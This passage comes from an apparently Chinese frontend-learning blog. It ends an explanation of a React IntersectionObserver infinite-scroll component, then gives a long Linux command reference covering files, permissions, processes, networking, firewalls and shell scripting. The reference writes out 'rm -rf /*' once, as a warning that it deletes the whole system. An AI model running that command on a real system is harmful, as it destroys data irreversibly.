组件内部使用了经典的“哨兵(Sentinel)”模式:

  • 引用创建 (useRef):

    const sentinelRef = useRef<HTMLDivElement>(null);
    

    这里创建了一个对 DOM 元素的引用,用于后续的观察。

  • 副作用管理 (useEffect):
    这是组件的“大脑”,负责观察器的生命周期管理:

    1. 守门人逻辑: if (!hasMore || isLoading) return;
      如果数据已加载完或正在加载中,直接返回,避免无效的观察器创建。

    2. 观察器实例化:

      const observer = new IntersectionObserver((entries) => {
        if (entries[0].isIntersecting) {
          onLoadMore(); // 触发加载
        }
      }, { threshold: 0 });
      

      这里创建了一个观察器实例。threshold: 0 意味着只要哨兵元素有 1 像素进入视口,就会触发回调。

    3. 观察与清理:
      组件挂载时开始观察哨兵元素,组件卸载时(return 函数)必须调用 observer.unobserve()。这是为了防止内存泄漏和路由切换后的重复触发。

3. JSX 结构:视图层
return (
  <>
    {children}
    <div ref={sentinelRef} className="h-4" />
    { isLoading && <div>加载中...</div> }
  </>
)
  • {children} :渲染传入的列表内容。
  • 哨兵元素:一个高度为 4px 的空 div,作为观察的目标。
  • 加载反馈:当 isLoading 为真时,展示“加载中...”的 UI,给用户明确的视觉反馈。

📊 传统方案 vs. 本方案对比

为了更直观地理解这种实现的优势,我们可以通过下表进行对比:

特性 传统 scroll 事件监听 本方案 (Intersection Observer)
性能表现 较差,需手动防抖,频繁重排重绘 极佳,浏览器原生异步处理,无性能负担
代码复杂度 高,需计算位置、处理兼容性 ,声明式 API,逻辑清晰
触发机制 主线程同步执行 异步回调,不阻塞渲染
重复请求 容易发生,需手动加锁 易于控制,配合 isLoading 状态即可

📝 总结

这个组件是一个典型的现代前端开发范例。它通过 TypeScript 提供了类型安全,利用 React Hooks 管理状态和副作用,并结合 Intersection Observer API 解决了性能痛点。

它不仅解决了长列表的性能瓶颈,还通过简洁的 API 设计(hasMore, isLoading, onLoadMore),让开发者可以轻松地将其集成到博客文章列表、电商商品流等各种场景中。这种“哨兵模式”是目前实现无限滚动的最佳实践之一。

重新学习前端之Linux

Linux

一、Linux 基础命令

1. Linux 基础命令概述

定义: Linux 基础命令是在 Linux 终端中执行的基本操作指令,用于文件系统管理、进程控制、网络配置等日常系统管理任务。

原理: Linux 命令本质上是可执行程序,通常位于 /bin/usr/bin/sbin 等目录中。当用户在终端输入命令时,Shell 会按照 $PATH 环境变量中定义的目录顺序查找对应的可执行文件并执行。

示例:

# 查看当前路径
pwd
# 输出: /home/user

# 列出当前目录内容
ls -la

常见误区:

  • 误以为命令是 Shell 内置的,实际上大多数命令是外部程序
  • 混淆 man 命令和 help 命令的使用场景
  • 不熟悉命令的参数缩写规则(如 -l--long

2. ls - 列出目录内容

定义: ls (list) 命令用于列出目录中的文件和子目录信息。

常用参数:

ls          # 基本列表
ls -l       # 详细信息(权限、所有者、大小、时间)
ls -a       # 显示隐藏文件(以.开头的文件)
ls -h       # 人类可读的文件大小
ls -t       # 按修改时间排序
ls -R       # 递归显示子目录
ls -la      # 组合使用:详细显示所有文件

输出解析:

drwxr-xr-x 2 user group 4096 Mar 15 10:30 Documents
-rw-r--r-- 1 user group  256 Mar 15 10:31 file.txt
  • 第一列:文件类型和权限(d表示目录,-表示普通文件)
  • 第二列:硬链接数
  • 第三列:文件所有者
  • 第四列:所属组
  • 第五列:文件大小(字节)
  • 第六至八列:最后修改时间
  • 第九列:文件名

常见误区:

  • 忘记 -a 参数会遗漏隐藏文件(如 .bashrc
  • 误认为文件大小包含目录内容(目录显示的4096是目录本身大小)

3. cd - 切换目录

定义: cd (change directory) 命令用于切换当前工作目录。

使用方式:

cd /home/user        # 切换到绝对路径
cd ../parent         # 切换到父目录
cd ~                 # 切换到用户主目录
cd -                 # 切换到上一次所在目录
cd                   # 无参数时切换到主目录

原理: cd 是 Shell 内置命令,通过修改当前 Shell 进程的 $PWD 环境变量实现。

常见误区:

  • cd - 会打印切换后的路径,方便确认
  • 使用相对路径时,基准目录是当前工作目录而非主目录

4. pwd - 显示当前目录

定义: pwd (print working directory) 命令用于显示当前工作目录的完整路径。

pwd          # /home/user/projects
pwd -P       # 显示物理路径(解析符号链接)
pwd -L       # 显示逻辑路径(包含符号链接)

5. mkdir - 创建目录

定义: mkdir (make directory) 命令用于创建新目录。

mkdir newdir                    # 创建单个目录
mkdir -p a/b/c                  # 递归创建多级目录
mkdir -m 755 newdir             # 指定权限创建
mkdir dir1 dir2 dir3            # 同时创建多个目录

常见误区:

  • 不使用 -p 参数时,父目录不存在会报错
  • -m 参数使用八进制数字指定权限

6. rmdir - 删除空目录

定义: rmdir (remove directory) 命令用于删除空目录

rmdir emptydir                  # 删除空目录
rmdir -p a/b/c                  # 递归删除空目录(连同父目录)

注意: 如果目录非空,会报错。删除非空目录使用 rm -r


7. rm - 删除文件或目录

定义: rm (remove) 命令用于删除文件或目录。

rm file.txt                     # 删除文件
rm -r directory                 # 递归删除目录
rm -f file.txt                  # 强制删除(不提示)
rm -rf directory                # 强制递归删除
rm -i file.txt                  # 删除前逐个确认

常见误区:

  • rm -rf /* 是极其危险的命令,会删除系统所有文件
  • 使用 -i 参数可以防止误删重要文件
  • 删除的文件无法直接恢复(需要通过专业工具或备份)

8. cp - 复制文件或目录

定义: cp (copy) 命令用于复制文件或目录。

cp source.txt dest.txt          # 复制文件
cp -r sourcedir destdir         # 递归复制目录
cp -i source.txt dest.txt       # 覆盖前提示确认
cp -a source dest               # 保留所有属性(归档模式)
cp -v source dest               # 显示复制过程

常见误区:

  • 复制目录必须使用 -r-R 参数
  • 目标位置存在同名文件会被覆盖(除非使用 -i

9. mv - 移动或重命名

定义: mv (move) 命令用于移动文件或重命名文件。

mv old.txt new.txt              # 重命名
mv file.txt /path/to/dir/       # 移动到目录
mv -i source dest               # 覆盖前提示
mv -n source dest               # 不覆盖已存在的文件

原理: 在同一文件系统内移动文件实际只修改目录项(速度快),跨文件系统移动等同于复制+删除。


10. touch - 创建或更新文件时间戳

定义: touch 命令用于创建空文件或更新文件的时间戳。

touch newfile.txt               # 创建空文件
touch -t 202403011200 file.txt  # 修改时间为指定值
touch -a file.txt               # 只更新访问时间
touch -m file.txt               # 只修改修改时间

常见误区:

  • touch 不会覆盖已存在的文件内容
  • 文件已存在时只更新时间戳

11. cat - 查看文件内容

定义: cat (concatenate) 命令用于查看、合并文件内容。

cat file.txt                    # 查看文件
cat -n file.txt                 # 显示行号
cat -b file.txt                 # 非空行显示行号
cat file1.txt file2.txt         # 合并多个文件
cat file1.txt file2.txt > combined.txt  # 合并输出到新文件
cat > newfile.txt << EOF        # 创建文件(多行输入)
EOF

常见误区:

  • 不适合查看大文件(会一次性加载到终端)
  • 查看大文件应使用 lessmore

12. more - 分页查看文件

定义: more 命令用于分页查看文件内容。

more file.txt                   # 分页查看
more -10 file.txt               # 每页显示10行

操作按键:

  • 空格键:向下翻页
  • Enter:向下滚动一行
  • q:退出

常见误区:

  • more 只能向下翻页,不能回退(less 可以双向翻页)

13. less - 分页查看文件(增强版)

定义: lessmore 的增强版,支持双向翻页和搜索。

less file.txt                   # 分页查看
less -N file.txt                # 显示行号
less +/pattern file.txt         # 打开时搜索模式

操作按键:

  • 空格键:向下翻页
  • b:向上翻页
  • /pattern:向下搜索
  • ?pattern:向上搜索
  • n:下一个匹配
  • N:上一个匹配
  • q:退出
  • G:跳转到末尾
  • g:跳转到开头

最佳实践: 查看日志文件优先使用 less


14. head - 查看文件开头

定义: head 命令用于查看文件开头部分内容。

head file.txt                   # 默认显示前10行
head -n 20 file.txt             # 显示前20行
head -c 100 file.txt            # 显示前100个字节

15. tail - 查看文件末尾

定义: tail 命令用于查看文件末尾部分内容。

tail file.txt                   # 默认显示最后10行
tail -n 20 file.txt             # 显示最后20行
tail -f logfile.log             # 实时跟踪文件变化
tail -F logfile.log             # 实时跟踪(支持日志轮转)
tail -n +100 file.txt           # 从第100行开始显示

最佳实践: 查看日志使用 tail -f 实时监控


16. find - 搜索文件

定义: find 命令用于在目录树中搜索文件。

find /path -name "file.txt"                     # 按名称搜索
find /path -type f -name "*.log"                # 搜索所有.log文件
find /path -size +100M                          # 搜索大于100MB的文件
find /path -mtime -7                            # 搜索7天内修改的文件
find /path -perm 644                            # 搜索权限为644的文件
find /path -user username                       # 搜索特定用户的文件
find /path -exec rm {} \;                       # 对搜索结果执行命令
find /path -name "*.tmp" -delete                # 搜索并删除
find /path -type f -empty                       # 查找空文件

常用选项:

  • -name:按文件名搜索(区分大小写)
  • -iname:按文件名搜索(不区分大小写)
  • -type:按类型搜索(f:文件, d:目录, l:链接)
  • -size:按大小搜索(+大于, -小于)
  • -mtime:按修改时间搜索(天数)
  • -atime:按访问时间搜索
  • -ctime:按状态改变时间搜索
  • -exec:对每个搜索结果执行命令

常见误区:

  • -exec 命令末尾必须有 \;+
  • -mtime +7 表示7天前,-mtime -7 表示7天内

17. locate - 快速查找文件

定义: locate 命令通过数据库快速查找文件路径。

locate file.txt                 # 查找包含file.txt的路径
locate -i FILE.TXT              # 不区分大小写
sudo updatedb                   # 更新数据库

原理: locate 使用 updatedb 创建的数据库进行搜索,速度极快但结果可能不是最新的。

对比 find

  • locate:速度快,但依赖数据库,结果可能不是最新的
  • find:实时搜索,速度慢但结果准确

18. whereis - 查找命令位置

定义: whereis 命令用于查找命令的二进制文件、源代码和手册页位置。

whereis ls                      # ls: /bin/ls /usr/share/man/man1/ls.1.gz
whereis -b ls                   # 只显示二进制文件
whereis -m ls                   # 只显示手册页

19. which - 查找命令路径

定义: which 命令用于查找命令的完整路径(按 $PATH 顺序)。

which ls                        # /bin/ls
which python                    # /usr/bin/python

对比 whereis

  • which:只查找可执行文件,按 $PATH 顺序
  • whereis:查找二进制、源码和手册页

20. echo - 输出文本

定义: echo 命令用于输出文本到终端或文件。

echo "Hello World"              # 输出文本
echo $PATH                      # 输出变量值
echo -e "Hello\nWorld"          # 启用转义字符
echo "text" > file.txt          # 输出到文件(覆盖)
echo "text" >> file.txt         # 追加到文件

常见误区:

  • 双引号内变量会被展开,单引号内变量不会被展开
  • > 覆盖文件,>> 追加文件

21. printf - 格式化输出

定义: printf 命令用于格式化输出文本(类似 C 语言的 printf)。

printf "Name: %s, Age: %d\n" "John" 25
printf "%-10s %5d\n" "John" 25          # 左对齐
printf "0x%04x\n" 255                   # 十六进制输出

22. clear - 清屏

定义: clear 命令用于清空终端屏幕。

clear                           # 清屏
Ctrl + L                        # 快捷键(部分终端)

23. history - 查看命令历史

定义: history 命令用于查看之前执行过的命令历史。

history                         # 显示所有历史命令
history 10                      # 显示最近10条命令
!n                              # 执行第n条历史命令
!!                              # 执行上一条命令
!ls                             # 执行最近一次ls命令
Ctrl + R                        # 搜索历史命令
history -c                      # 清除历史记录

24. man - 查看手册页

定义: man (manual) 命令用于查看命令的手册页。

man ls                          # 查看ls的手册
man -k keyword                  # 搜索手册(同apropos)
man 2 open                      # 查看系统调用open的手册

手册章节:

  1. 用户命令
  2. 系统调用
  3. 库函数
  4. 特殊文件
  5. 文件格式
  6. 游戏
  7. 杂项
  8. 系统管理命令

25. help - 查看内置命令帮助

定义: help 命令用于查看 Shell 内置命令的帮助信息。

help cd                         # 查看cd命令帮助
help echo                       # 查看echo命令帮助

对比 man

  • help:查看 Shell 内置命令的帮助
  • man:查看外部命令的手册页

二、文件系统与权限

26. Linux 文件系统

定义: Linux 文件系统是用于组织和管理磁盘上数据的结构和规则。

常见文件系统类型:

  • ext4:第四代扩展文件系统,Linux 默认文件系统
  • XFS:高性能日志文件系统,适合大文件
  • Btrfs:支持快照、压缩的现代文件系统
  • NTFS:Windows 文件系统(Linux 可读写)
  • FAT32:通用文件系统,兼容性最好

原理: 文件系统通过 inode 存储文件元数据(权限、大小、时间等),通过数据块存储实际内容。

查看文件系统:

df -T                           # 查看文件系统类型
lsblk -f                        # 查看块设备文件系统
blkid                           # 查看块设备属性

27. 文件权限

定义: Linux 文件权限控制着不同用户对文件的访问能力。

权限类型:

  • r (read):读权限(文件:可查看内容;目录:可列出内容)
  • w (write):写权限(文件:可修改内容;目录:可创建/删除文件)
  • x (execute):执行权限(文件:可作为程序执行;目录:可进入目录)

权限分组:

-rwxr-xr-- 1 user group 4096 Mar 15 10:30 file.txt
  • 所有者(user/owner):前3位 rwx
  • 所属组(group):中3位 r-x
  • 其他用户(others):后3位 r--

权限数字表示:

  • r = 4
  • w = 2
  • x = 1
  • 755 = rwxr-xr-x(所有者全权限,组和其他用户读执行)
  • 644 = rw-r--r--(所有者读写,组和其他只读)

特殊权限:

  • SUID (4):执行时以文件所有者身份运行
  • SGID (2):执行时以文件所属组身份运行;目录中新文件继承目录组
  • Sticky Bit (1):目录中只有文件所有者能删除文件(如 /tmp
chmod 4755 file                 # 设置SUID
chmod 2755 dir                  # 设置SGID
chmod 1777 /tmp                 # 设置Sticky Bit

28. chmod - 修改权限

定义: chmod (change mode) 命令用于修改文件或目录的权限。

chmod 755 file.txt              # 数字方式设置权限
chmod u+x file.txt              # 给所有者添加执行权限
chmod go-w file.txt             # 移除组和其他用户的写权限
chmod a+r file.txt              # 给所有用户添加读权限
chmod -R 755 directory          # 递归修改目录权限

符号模式:

  • u:所有者(user)
  • g:所属组(group)
  • o:其他用户(others)
  • a:所有用户(all)
  • +:添加权限
  • -:移除权限
  • =:设置权限

29. chown - 修改所有者

定义: chown (change owner) 命令用于修改文件或目录的所有者。

chown user file.txt             # 修改所有者
chown user:group file.txt       # 同时修改所有者和组
chown :group file.txt           # 只修改组
chown -R user directory         # 递归修改目录所有者

30. chgrp - 修改所属组

定义: chgrp (change group) 命令用于修改文件或目录的所属组。

chgrp group file.txt            # 修改所属组
chgrp -R group directory        # 递归修改目录所属组

31. 文件类型

定义: Linux 中文件类型用于区分不同性质的文件。

常见类型:

  • -:普通文件(文本、二进制、压缩包等)
  • d:目录(文件夹)
  • l:符号链接(软链接)
  • c:字符设备文件(如 /dev/null
  • b:块设备文件(如 /dev/sda
  • p:命名管道(FIFO)
  • s:套接字文件

查看文件类型:

ls -l                           # 通过第一列第一个字符识别
file filename                   # 详细显示文件类型

32. 目录结构

定义: Linux 采用树状目录结构组织文件系统,根目录为 /

重要目录:

/               # 根目录
/bin            # 基本用户命令(二进制)
/sbin           # 系统管理员命令
/etc            # 系统配置文件
/home           # 用户主目录
/root           # root用户主目录
/var            # 可变数据(日志、缓存等)
/tmp            # 临时文件
/usr            # 用户程序和数据
/opt            # 可选软件包
/dev            # 设备文件
/proc           # 进程信息(虚拟文件系统)
/sys            # 系统信息(虚拟文件系统)
/boot           # 启动文件
/lib            # 系统库文件
/media          # 可移动媒体挂载点
/mnt            # 临时挂载点

FHS(文件系统层次结构标准): 规范了 Linux 目录的用途和内容。


33-34. 文件路径与绝对路径

定义: 路径是文件或目录在文件系统中的位置标识。

绝对路径: 从根目录 / 开始的完整路径。

/home/user/documents/file.txt   # 绝对路径(始终以/开头)

特点:

  • 始终以 / 开头
  • 在任何位置都有效
  • 完整描述文件位置

35. 相对路径

定义: 相对于当前工作目录的路径。

./file.txt                      # 当前目录下的文件
../parent/file.txt              # 父目录下的文件
../../grandparent/file.txt      # 祖父目录下的文件

特殊符号:

  • .:当前目录
  • ..:父目录
  • ~:用户主目录
  • -:上一次所在目录

36-38. 软链接、硬链接与 ln 命令

定义: 链接是指向另一个文件的引用。

软链接(符号链接):

ln -s /path/to/original /path/to/link     # 创建软链接
  • 类似 Windows 的快捷方式
  • 有自己的 inode
  • 指向另一个文件路径
  • 可以跨越文件系统
  • 源文件删除后链接失效

硬链接:

ln /path/to/original /path/to/link        # 创建硬链接
  • 与原文件共享同一个 inode
  • 不能跨文件系统
  • 不能链接目录
  • 源文件删除后仍可访问(通过硬链接)
  • 删除最后一个链接才会真正删除文件

对比:

特性 软链接 硬链接
inode 不同 相同
跨文件系统 支持 不支持
链接目录 支持 不支持
源文件删除 失效 仍可访问
文件大小 路径长度 与原文件相同
命令 ln -s ln

查看链接:

ls -l                         # 软链接显示 -> 指向
stat file                     # 查看inode信息

39. 文件属性

定义: 文件属性包括权限、所有者、时间戳、大小等元数据。

查看属性:

ls -l file                    # 基本属性
stat file                     # 详细属性

属性信息:

  • 文件名
  • 文件大小
  • 文件类型
  • 权限模式
  • 所有者和组
  • 硬链接数
  • inode 号
  • 访问时间(atime)
  • 修改时间(mtime)
  • 状态改变时间(ctime)

40. inode

定义: inode(索引节点)是 Linux 文件系统中存储文件元数据的数据结构。

存储内容:

  • 文件大小
  • 文件权限
  • 所有者和组
  • 时间戳(atime, mtime, ctime)
  • 文件类型
  • 指向数据块的指针

不包含: 文件名(文件名存储在目录项中)

查看 inode:

ls -i file                    # 显示inode号
df -i                         # 查看inode使用情况
stat file                     # 详细inode信息

常见误区:

  • 删除文件实际是删除目录项,减少inode引用计数
  • inode 耗尽即使磁盘有空间也无法创建新文件
  • 硬链接共享同一个 inode

三、进程管理

41. 进程

定义: 进程是正在执行的程序实例,是操作系统资源分配的基本单位。

进程状态:

  • 运行态(Running):正在执行或准备执行
  • 睡眠态(Sleeping):等待某个事件或资源
    • S:可中断睡眠
    • D:不可中断睡眠(通常等待I/O)
  • 停止态(Stopped):被信号暂停
  • 僵尸态(Zombie):已终止但父进程尚未回收
  • 死亡态(Dead):即将被销毁

进程属性:

  • PID(进程ID)
  • PPID(父进程ID)
  • 状态
  • 优先级
  • 内存占用
  • CPU 占用
  • 运行时间

42. 进程管理

定义: 进程管理包括查看、控制、终止进程等操作。

管理方式:

  • 查看进程:pstophtop
  • 发送信号:killkillallpkill
  • 调整优先级:nicerenice
  • 前后台切换:jobsfgbg
  • 守护进程:systemdservice

43. ps - 查看进程

定义: ps (process status) 命令用于查看当前进程的快照。

ps                              # 查看当前终端进程
ps aux                          # 查看所有进程(BSD格式)
ps -ef                          # 查看所有进程(标准格式)
ps -ef | grep nginx             # 查找特定进程
ps -p 1234                      # 查看指定PID
ps -u username                  # 查看特定用户的进程
ps --sort=-%mem                 # 按内存使用排序

输出字段(ps aux):

  • USER:所有者
  • PID:进程ID
  • %CPU:CPU使用率
  • %MEM:内存使用率
  • VSZ:虚拟内存大小
  • RSS:物理内存大小
  • TTY:关联终端
  • STAT:进程状态
  • START:启动时间
  • TIME:CPU时间
  • COMMAND:命令

44. top - 实时进程监控

定义: top 命令用于实时显示系统进程状态和资源使用情况。

top                             # 启动top
top -u username                 # 查看特定用户进程
top -p 1234                     # 监控指定PID
top -d 2                        # 每2秒刷新

交互按键:

  • P:按CPU使用率排序
  • M:按内存使用率排序
  • q:退出
  • k:终止进程
  • c:显示完整命令路径
  • h:帮助

输出信息:

  • 系统运行时间、负载
  • 进程总数
  • CPU使用率
  • 内存使用情况
  • 进程列表

45. htop - 增强版进程监控

定义: htoptop 的增强版,提供更友好的交互界面。

htop                            # 启动htop
htop -u username                # 查看特定用户进程

优势:

  • 彩色显示
  • 支持鼠标操作
  • 树状视图(F5)
  • 更直观的资源使用条
  • 支持搜索(F3)

46. kill - 发送信号

定义: kill 命令用于向进程发送信号(常用于终止进程)。

kill PID                        # 默认发送SIGTERM(15)
kill -9 PID                     # 发送SIGKILL(强制终止)
kill -15 PID                    # 发送SIGTERM(优雅终止)
kill -1 PID                     # 发送SIGHUP(重新加载配置)
kill -l                         # 列出所有信号

常用信号:

信号 编号 说明
SIGHUP 1 挂起信号,常用于重新加载配置
SIGINT 2 中断信号(Ctrl+C)
SIGKILL 9 强制终止(不可捕获)
SIGTERM 15 优雅终止(默认)
SIGSTOP 19 停止进程
SIGCONT 18 继续进程

47. killall - 按名称终止进程

定义: killall 命令用于通过进程名终止所有匹配的进程。

killall nginx                   # 终止所有nginx进程
killall -9 nginx                # 强制终止
killall -u username             # 终止特定用户的所有进程

48. pkill - 按模式终止进程

定义: pkill 命令用于通过进程名模式匹配终止进程。

pkill nginx                     # 终止名称包含nginx的进程
pkill -f "python app.py"        # 按完整命令行匹配
pkill -u username               # 按用户匹配

对比:

  • kill:需要 PID
  • killall:精确匹配进程名
  • pkill:模式匹配进程名

49. nice - 以指定优先级启动进程

定义: nice 命令用于以指定的优先级启动进程。

nice -n 10 command              # 以优先级10启动
nice -n -5 command              # 以高优先级启动(需要root)

优先级范围: -20(最高)到 19(最低),默认值为 0。


50. renice - 修改运行中进程的优先级

定义: renice 命令用于修改正在运行的进程的优先级。

renice -n 10 -p PID             # 修改进程优先级
renice -n 5 -u username         # 修改特定用户所有进程

51. nohup - 忽略挂起信号

定义: nohup (no hang up) 命令使命令在终端关闭后继续运行。

nohup command &                 # 后台运行,忽略挂起信号
nohup command > output.log 2>&1 &   # 重定向输出

原理: 忽略 SIGHUP 信号,输出默认重定向到 nohup.out


52. & - 后台运行

定义: 在命令末尾添加 & 使进程在后台运行。

command &                       # 后台运行
nohup command &                 # 后台运行且忽略挂起信号

53. jobs - 查看后台任务

定义: jobs 命令用于查看当前终端的后台任务列表。

jobs                            # 列出后台任务
jobs -l                         # 显示详细信息(含PID)

54. fg - 切换到前台

定义: fg (foreground) 命令将后台任务切换到前台运行。

fg                              # 恢复最近一个后台任务到前台
fg %1                           # 恢复任务1到前台

55. bg - 后台运行

定义: bg (background) 命令使停止的任务在后台继续运行。

bg                              # 继续最近一个停止的任务在后台
bg %1                           # 继续任务1在后台

56. 守护进程

定义: 守护进程(Daemon)是在后台运行、不与终端关联的长期运行的进程。

特点:

  • 在后台运行
  • 不与终端关联
  • 通常以 d 结尾命名(如 sshdnginx
  • 系统启动时自动启动

常见守护进程:

  • sshd:SSH 服务
  • crond:定时任务
  • systemd:系统初始化
  • httpd/nginx:Web 服务

57. systemd - 系统和服务管理器

定义: systemd 是现代 Linux 发行版的系统和服务管理器。

常用命令:

systemctl status service        # 查看服务状态
systemctl start service         # 启动服务
systemctl stop service          # 停止服务
systemctl restart service       # 重启服务
systemctl reload service        # 重载配置
systemctl enable service        # 开机自启
systemctl disable service       # 取消开机自启
systemctl is-enabled service    # 检查是否开机自启
systemctl list-units            # 列出所有单元
systemctl list-unit-files       # 列出所有单元文件
journalctl -u service           # 查看服务日志

58. service - 管理系统服务

定义: service 命令用于管理系统服务(旧式 SysV init)。

service nginx start             # 启动服务
service nginx stop              # 停止服务
service nginx restart           # 重启服务
service nginx status            # 查看状态

注意: 现代系统推荐使用 systemctl 替代 service


四、网络配置

59. 网络配置

定义: Linux 网络配置涉及网络接口的设置、IP 地址分配、路由配置等。

配置文件:

  • /etc/network/interfaces(Debian/Ubuntu)
  • /etc/sysconfig/network-scripts/(CentOS/RHEL)
  • /etc/resolv.conf(DNS 配置)
  • /etc/hosts(主机名映射)

现代工具:

  • ip 命令替代 ifconfig
  • ss 命令替代 netstat

60. ifconfig - 网络接口配置

定义: ifconfig (interface configuration) 命令用于配置和查看网络接口。

ifconfig                        # 显示所有活动接口
ifconfig eth0                   # 显示eth0接口
ifconfig eth0 up                # 启用接口
ifconfig eth0 down              # 禁用接口
ifconfig eth0 192.168.1.100     # 设置IP地址

注意: ifconfig 已废弃,推荐使用 ip 命令。


61. ip - 网络管理命令

定义: ipifconfig 的现代替代工具,功能更强大。

ip addr                         # 显示IP地址
ip link                         # 显示网络接口
ip route                        # 显示路由表
ip addr add 192.168.1.100/24 dev eth0   # 添加IP地址
ip link set eth0 up                     # 启用接口
ip route add default via 192.168.1.1    # 添加默认路由

常用子命令:

  • ip addr:管理 IP 地址
  • ip link:管理网络接口
  • ip route:管理路由表

62. ping - 测试网络连通性

定义: ping 命令用于测试与目标主机的网络连通性。

ping google.com                 # 持续ping
ping -c 5 google.com            # ping 5次后停止
ping -i 2 google.com            # 每2秒ping一次
ping -s 64 google.com           # 指定数据包大小

原理: 使用 ICMP Echo Request/Echo Reply 报文。


63. netstat - 网络统计

定义: netstat (network statistics) 命令用于显示网络连接、路由表、接口统计等。

netstat -tlnp                   # 查看监听的TCP端口
netstat -ulnp                   # 查看监听的UDP端口
netstat -anp                    # 查看所有连接
netstat -s                      # 查看统计信息
netstat -rn                     # 查看路由表

常用参数:

  • -t:TCP 连接
  • -u:UDP 连接
  • -l:仅监听
  • -n:数字显示(不解析主机名)
  • -p:显示进程
  • -a:所有连接
  • -r:路由表

64. ss - 查看套接字统计

定义: ss (socket statistics) 是 netstat 的现代替代工具。

ss -tlnp                        # 查看监听的TCP端口
ss -ulnp                        # 查看监听的UDP端口
ss -anp                         # 查看所有连接
ss -s                           # 查看统计信息

优势:netstat 更快,支持更多功能。


65. telnet - 远程登录

定义: telnet 命令用于远程登录和测试端口连通性。

telnet host port                # 连接远程主机
telnet localhost 80             # 测试80端口

注意: telnet 传输不加密,推荐使用 ssh 替代。常用于测试端口连通性。


66. curl - 命令行 HTTP 客户端

定义: curl 命令用于通过 URL 语法传输数据。

curl https://example.com        # 获取网页
curl -O https://example.com/file    # 下载文件(保持原名)
curl -o file https://example.com    # 下载文件(指定文件名)
curl -I https://example.com         # 只获取响应头
curl -X POST https://example.com    # POST请求
curl -d "data=value" https://example.com    # POST数据
curl -H "Authorization: Bearer token" https://example.com    # 添加请求头

67. wget - 命令行下载工具

定义: wget 命令用于从网络下载文件。

wget https://example.com/file       # 下载文件
wget -O output https://example.com  # 指定输出文件名
wget -c https://example.com/file    # 断点续传
wget -r https://example.com         # 递归下载
wget -i urls.txt                    # 从文件读取URL下载

对比 curl

  • curl:支持更多协议,默认输出到 stdout
  • wget:支持递归下载,默认保存到文件

68. ssh - 安全远程登录

定义: ssh (Secure Shell) 命令用于安全地远程登录到服务器。

ssh user@host                     # 登录远程主机
ssh -p 2222 user@host             # 指定端口
ssh -i key.pem user@host          # 使用密钥登录
ssh user@host "command"           # 执行远程命令
ssh -L 8080:localhost:80 user@host    # 本地端口转发
ssh -R 8080:localhost:80 user@host    # 远程端口转发

配置免密登录:

ssh-keygen                        # 生成密钥对
ssh-copy-id user@host             # 复制公钥到远程主机

69. scp - 安全复制

定义: scp (secure copy) 命令用于通过 SSH 安全地复制文件。

scp file.txt user@host:/path/     # 上传文件
scp user@host:/path/file.txt ./   # 下载文件
scp -r dir user@host:/path/       # 递归复制目录
scp -P 2222 file.txt user@host:/path/   # 指定端口

70. rsync - 远程同步

定义: rsync 命令用于高效地同步文件和目录。

rsync -av source/ dest/           # 本地同步
rsync -av source/ user@host:/dest/    # 同步到远程
rsync -avz user@host:/src/ dest/  # 压缩传输
rsync -av --delete source/ dest/  # 删除目标多余文件
rsync -av --exclude "*.log" source/ dest/   # 排除文件

常用参数:

  • -a:归档模式(保留权限、时间等)
  • -v:详细输出
  • -z:压缩传输
  • -P:显示进度并支持断点续传

优势: 只传输变化的部分,效率高。


71-74. 防火墙管理

定义: Linux 防火墙用于控制网络流量进出系统。

iptables:

iptables -L                       # 查看规则
iptables -A INPUT -p tcp --dport 80 -j ACCEPT     # 允许80端口
iptables -A INPUT -p tcp --dport 443 -j ACCEPT    # 允许443端口
iptables -A INPUT -j DROP                         # 拒绝所有入站

firewalld(CentOS/RHEL):

firewall-cmd --list-all           # 查看配置
firewall-cmd --add-port=80/tcp    # 添加端口
firewall-cmd --reload             # 重载配置
firewall-cmd --permanent --add-port=80/tcp        # 永久添加

ufw(Ubuntu):

ufw status                        # 查看状态
ufw enable                        # 启用防火墙
ufw allow 80/tcp                  # 允许80端口
ufw deny 22/tcp                   # 拒绝22端口
ufw delete allow 80/tcp           # 删除规则

对比:

工具 发行版 特点
iptables 通用 底层、功能强大、配置复杂
firewalld CentOS/RHEL 动态管理、支持区域
ufw Ubuntu/Debian 简单易用、基于iptables

75. 端口管理

定义: 端口是网络通信的端点,用于区分不同服务。

常用端口:

  • 22:SSH
  • 80:HTTP
  • 443:HTTPS
  • 3306:MySQL
  • 5432:PostgreSQL
  • 6379:Redis
  • 8080:HTTP 代理

查看端口:

ss -tlnp                        # 查看监听端口
netstat -tlnp                   # 查看监听端口
lsof -i :80                     # 查看80端口占用

五、Shell 脚本

76. Shell

定义: Shell 是 Linux 的命令行解释器,用于接收用户输入的命令并执行。

常见 Shell:

  • Bash(Bourne Again Shell):最常用,大多数发行版默认 Shell
  • Zsh(Z Shell):功能强大,支持插件
  • sh(Bourne Shell):早期标准 Shell
  • Fish:友好交互的 Shell

查看当前 Shell:

echo $SHELL                     # 查看当前Shell
cat /etc/shells                 # 查看系统可用的Shell

77. Shell 脚本

定义: Shell 脚本是将一系列命令保存到文件中,按顺序执行的程序。

基本结构:

#!/bin/bash                     # Shebang(指定解释器)

# 注释
echo "Hello World"              # 输出

# 变量
NAME="John"
echo "Hello $NAME"

# 条件判断
if [ -f "file.txt" ]; then
    echo "File exists"
elif [ -d "file.txt" ]; then
    echo "Is directory"
else
    echo "Not found"
fi

# 循环
for i in 1 2 3; do
    echo $i
done

# 函数
my_function() {
    echo "Function called"
}
my_function

执行方式:

./script.sh                     # 需要执行权限
bash script.sh                  # 不需要执行权限
source script.sh                # 在当前Shell执行
. script.sh                     # 同source

78. Bash

定义: Bash 是 GNU 项目的 Shell,是 sh 的增强版。

特性:

  • 命令补全(Tab)
  • 命令历史
  • 别名
  • 变量
  • 条件判断
  • 循环
  • 函数
  • 管道
  • 重定向

79. Shell 变量

定义: Shell 变量是存储数据的容器。

变量类型:

  • 环境变量:全局变量,对所有进程可见
  • 局部变量:仅在当前 Shell 可见
# 定义变量
NAME="John"
AGE=25

# 使用变量
echo $NAME
echo ${NAME}

# 环境变量
export PATH="/usr/local/bin:$PATH"

# 特殊变量
$0          # 脚本名
$1, $2...   # 参数
$#          # 参数个数
$@          # 所有参数
$?          # 上一个命令的退出状态
$$          # 当前进程PID
$!          # 最后一个后台进程PID

80. Shell 条件判断

定义: 条件判断用于根据条件执行不同的代码块。

文件测试:

[ -f file ]       # 文件存在
[ -d dir ]        # 目录存在
[ -e path ]       # 路径存在
[ -r file ]       # 可读
[ -w file ]       # 可写
[ -x file ]       # 可执行
[ -s file ]       # 非空文件

